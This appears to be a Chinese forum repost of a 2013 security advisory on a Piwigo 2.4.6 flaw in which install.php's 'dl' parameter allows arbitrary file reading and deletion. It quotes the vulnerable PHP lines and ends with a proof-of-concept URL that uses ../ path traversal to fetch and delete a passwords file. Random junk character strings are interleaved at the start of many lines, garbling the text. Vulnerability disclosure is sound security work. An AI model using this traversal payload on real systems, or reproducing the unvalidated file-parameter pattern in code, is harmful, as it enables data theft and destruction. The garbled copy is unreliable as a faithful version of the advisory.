Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
# g7 K; U  R1 O7 B) e4 e: c# X( E
4 ?6 ~! G& D' d/ q7 RPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
" u, A; B. c3 Y: ^* Z/ L/ j0 m; ]====================================================================
! @* {2 [+ h/ \, Z, m: z* t/install.php:
, e( l! C" |" D* v! e( K  H-------------
& h7 D7 s; u/ ]8 n7 h6 X113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
* @# Q- z* a# v( S# O114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
' c- R9 P& j7 s0 v! M: j116:   header('Cache-Control: no-cache, must-revalidate');
0 H1 S8 t2 d8 L; X  ]; ]' {1 e117:   header('Pragma: no-cache');
) v" h2 Y) @5 T/ ^; r7 `118:   header('Content-Disposition: attachment; filename="database.inc.php"');
+ W& f1 i( c! M% U; R  `119:   header('Content-Transfer-Encoding: binary');
- H1 E' D- m# {- c5 k6 E120:   header('Content-Length: '.filesize($filename));
' `3 M& D0 A6 f" j- Q121:   echo file_get_contents($filename);
122:   unlink($filename);
/ L; y- v4 i  W- ^0 N8 G' ]123:   exit();
124: }
: _/ r5 L& P- C# S1 ?6 _====================================================================
' g0 y! h) P* }, D1 q
  F/ Q7 Y( r" D9 ~Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
, P: ~5 _- V  e1 K           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a
2 K: b" g7 |3 g" j
, P3 E$ K3 C* m3 f6 s# V+ RVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
$ N3 I" r0 j+ S, p$ F
Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
/ ~3 H6 U+ W3 F) X/ x  ]1 X. mVendor Patch: http://piwigo.org/bugs/view.php?id=2843
+ T6 j/ o, v( u6 d( E# g
15.02.2013
* m- v3 w& {3 |! S$ T
9 Y; D$ g/ D, A0 U--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt